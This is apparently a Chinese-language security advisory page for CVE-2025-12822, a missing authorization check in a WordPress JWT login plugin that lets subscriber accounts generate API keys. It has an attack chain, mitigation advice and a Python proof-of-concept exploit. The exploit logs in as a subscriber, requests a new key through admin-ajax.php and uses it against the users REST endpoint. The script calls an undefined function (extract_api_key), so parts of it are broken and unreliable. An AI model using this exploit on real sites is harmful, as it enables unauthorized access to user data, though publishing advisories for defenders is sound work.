IPBUF安全漏洞报告
English
CVE-2025-12822 CVSS 4.3 中危

CVE-2025-12822 WordPress JWT插件未授权API密钥生成漏洞

披露日期: 2025-11-19

漏洞信息

漏洞编号
CVE-2025-12822
漏洞类型
缺少授权检查
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WP Login and Register using JWT plugin for WordPress

相关标签

缺少授权检查API密钥泄露WordPress插件漏洞JWT认证绕过权限提升CVE-2025-12822WP Login and Register using JWT

漏洞概述

WP Login and Register using JWT是WordPress平台上一款用于实现JWT认证登录和注册的插件。该插件在3.0.0及以下所有版本中存在严重的授权绕过漏洞。漏洞根源在于插件的'mo_jwt_generate_new_api_key'函数缺少权限检查(Missing Capability Check),导致任何已认证用户(包括最低权限的Subscriber级别用户)都可以调用该函数生成新的API密钥。在目标站点尚未配置API密钥的情况下,攻击者可以利用此漏洞生成有效API密钥,并利用该密钥访问原本受限的管理端点或API接口,从而获取敏感数据或执行未授权操作。该漏洞CVSS评分为4.3,属于中危级别,但考虑到其利用门槛低(仅需订阅者账户)且可能导致敏感数据泄露,仍需及时修复。

技术细节

漏洞存在于插件的mo_jwt_generate_new_api_key函数中。该函数本应仅允许具有管理员权限的用户调用以生成API密钥,但由于缺少WordPress的current_user_can()权限检查,任何已认证用户都可以通过发送特制请求调用该函数。具体来说,当站点尚未配置JWT API密钥时,攻击者(即使是Subscriber级别的低权限用户)可以绕过授权机制,直接调用该函数生成新的API密钥。生成的API密钥随后可用于认证请求,访问受保护的REST API端点或其他需要API密钥验证的接口。攻击者利用此漏洞可获取站点敏感信息、用户数据或执行其他未授权操作。修复方案是在mo_jwt_generate_new_api_key函数调用前添加current_user_can('manage_options')或同等权限检查,确保只有管理员才能生成API密钥。

攻击链分析

STEP 1
1
攻击者获取目标WordPress站点上的Subscriber级别账户(通过注册或已有账户)
STEP 2
2
使用低权限账户登录WordPress后台
STEP 3
3
访问插件管理页面/mo_jwt_generate_new_api_key并获取WordPress nonce
STEP 4
4
构造AJAX请求调用mo_jwt_generate_new_api_key函数,由于缺少权限检查,请求被成功处理
STEP 5
5
接收到服务器返回的新生成的API密钥
STEP 6
6
使用获取的API密钥构造Bearer Token认证请求,访问受保护的REST API端点或其他受限资源
STEP 7
7
成功获取敏感数据或执行未授权操作,如获取用户列表、站点配置信息等

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import re # CVE-2025-12822 PoC - Unauthorized API Key Generation # Target: WP Login and Register using JWT plugin <= 3.0.0 TARGET_URL = "http://target-wordpress-site.com" USERNAME = "subscriber_user" # Low-privilege account PASSWORD = "password123" def get_nonce(html, action_name): """Extract WordPress nonce from page""" pattern = rf'name="{action_name}" value="([a-f0-9]+)"' match = re.search(pattern, html) return match.group(1) if match else None def cve_2025_12822_poc(): session = requests.Session() # Step 1: Login with low-privilege account login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } resp = session.post(login_url, data=login_data, timeout=10) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return print("[+] Logged in as subscriber") # Step 2: Access plugin admin page to get nonce admin_url = f"{TARGET_URL}/wp-admin/admin.php?page=mo_jwt_generate_new_api_key" admin_page = session.get(admin_url, timeout=10) # Step 3: Generate new API key (exploiting missing capability check) nonce = get_nonce(admin_page.text, '_wpnonce') exploit_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" exploit_data = { 'action': 'mo_jwt_generate_new_api_key', '_wpnonce': nonce, 'option': 'mo_jwt_generate_new_api_key' } resp = session.post(exploit_url, data=exploit_data, timeout=10) print(f"[+] Exploit response: {resp.text}") # Step 4: Use generated API key to access restricted endpoints api_key = extract_api_key(resp) if api_key: print(f"[+] API Key obtained: {api_key}") headers = {'Authorization': f'Bearer {api_key}'} restricted_endpoint = f"{TARGET_URL}/wp-json/wp/v2/users" data_resp = session.get(restricted_endpoint, headers=headers, timeout=10) print(f"[+] Accessing restricted endpoint: {data_resp.status_code}") if __name__ == '__main__': cve_2025_12822_poc()

影响范围

WP Login and Register using JWT plugin <= 3.0.0

防御指南

临时缓解措施
临时缓解措施:在完成插件升级前,可通过Web应用防火墙(WAF)规则限制对mo_jwt_generate_new_api_key AJAX端点的访问,或在服务器配置中禁止未授权用户访问该插件的管理功能。同时建议审查现有API密钥的使用情况,如发现异常生成的密钥应立即撤销。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表